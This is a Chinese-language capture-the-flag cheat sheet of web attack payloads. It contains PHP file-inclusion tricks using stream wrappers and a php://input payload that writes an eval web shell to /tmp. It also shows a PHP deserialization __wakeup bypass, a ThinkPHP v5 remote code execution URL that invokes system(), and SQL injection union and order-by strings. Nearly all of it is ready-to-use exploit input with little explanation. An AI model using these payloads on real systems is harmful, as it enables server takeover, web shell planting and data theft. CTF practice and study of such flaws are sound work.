文件包含(file include)漏洞
$file=$_GET['file'];include($file),通过改变文件攻击
php伪协议文件
php://filter/read=convert.base64-encode/resource=所在文件的目录
php伪协议数据
file2=data://text/plain,hello%20ctf
?page=PHP://input
post请求:<?php fputs(fopen('/tmp/shell.php','w'),'<?php @eval($_POST[cmd])?>')?>
PHP函数:
strrev()反转字符串
call_user_func_array( callable $callback , array $param_arr):把第一个参数作为回调函数(callback)调用,把参数数组作(param_arr)为回调函数的的参数传入。
substr(string,start,length):字符串,开始的位置,需要的长度(默认到最后)
str_rot13:ROT13 编码是把每一个字母在字母表中向前移动 13 个字母得到。数字和非字母字符保持不变。执行两边会返回原来的字符串。
正则表达式:
/[oc]:\d+:/i:/ 开始正则表达式模式。
[oc] 匹配字符集合,它会匹配单个字符,可以是 "o" 或 "c"(不区分大小写,因为后面有 i 标志)。
: 匹配一个冒号字符。
\d+ 匹配一个或多个数字字符。
: 再次匹配一个冒号字符。
/ 结束正则表达式模式。
i 是一个标志,表示不区分大小写。
序列化漏洞:
魔术方法触发时机:
weakup()绕过:
<?php
class secret{
var $file='flag.php';
function __wakeup(){
echo 'wakeup执行了...';
}
}
echo serialize(new secret());//O:6:"secret":1:{s:4:"file";s:8:"flag.php";}
$a='O:6:"secret":2:{s:4:"file";s:8:"flag.php";}';
unserialize($a);
?>
可以通过修改$a来确定wakeup是否执行了
$a='O:6:"secret":1:{s:4:"file";s:8:"flag.php";}';
thinkphp v5漏洞
/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=需要执行的linux命令
linux命令
ls /:列出根目录下的所有目录
cat /flag:查看flag文件的内容
sel注入常规命令:
查看表中的列数:' order by 2--+
查看表名: union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()
查看列名